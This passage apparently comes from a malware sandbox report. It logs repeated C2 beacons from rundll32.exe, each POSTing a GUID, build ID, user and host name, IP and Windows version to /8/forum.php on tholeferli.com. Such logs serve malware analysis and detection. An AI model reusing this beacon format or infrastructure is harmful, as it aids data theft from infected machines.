Jul 22, 2021 16:12:01.392529964 CEST	423	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 47 54 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQGTJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.22	49282	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:01.675998926 CEST	424	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:01.863708019 CEST	424	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 43 58 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYCXBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.22	49283	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:02.156478882 CEST	425	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:02.312468052 CEST	425	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.22	49284	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:02.584587097 CEST	426	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:02.740611076 CEST	426	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 59 42 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKYBPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.22	49285	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:03.016128063 CEST	427	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:03.171837091 CEST	428	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4b 50 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNKPMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.22	49286	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:03.467390060 CEST	429	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:03.625241041 CEST	429	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4a 51 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBJQYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49179	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:08.277009010 CEST	308	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:08.445487022 CEST	309	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 43 58 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTCXGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.22	49287	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:03.907593966 CEST	430	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:04.076158047 CEST	430	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 4e 4d 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGNMTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.22	49288	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:04.350253105 CEST	431	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:04.520309925 CEST	431	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 4d 4e 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGMNTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.22	49289	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:04.812446117 CEST	432	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:04.979065895 CEST	432	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 56 45 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQVEJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.22	49290	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:05.250222921 CEST	433	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:05.405751944 CEST	433	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 4e 4d 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJNMQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.22	49291	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:05.685089111 CEST	434	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:05.841520071 CEST	434	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.22	49292	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:06.127482891 CEST	435	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:06.294018030 CEST	436	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 46 55 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZFUAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.22	49293	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:06.582639933 CEST	436	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:06.749896049 CEST	437	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 59 42 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMYBNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.22	49294	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:07.026973963 CEST	437	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:07.183212042 CEST	438	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 5a 41 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTZAGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.22	49295	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:07.469902992 CEST	439	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:07.627796888 CEST	439	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 59 42 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKYBPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.22	49296	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:07.902539015 CEST	440	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:08.058758974 CEST	440	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 47 54 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNGTMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49180	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:08.731694937 CEST	310	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:08.901592970 CEST	310	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 4b 50 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHKPSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.22	49297	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:08.328980923 CEST	441	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:08.485219002 CEST	441	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 47 54 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMGTNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.22	49298	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
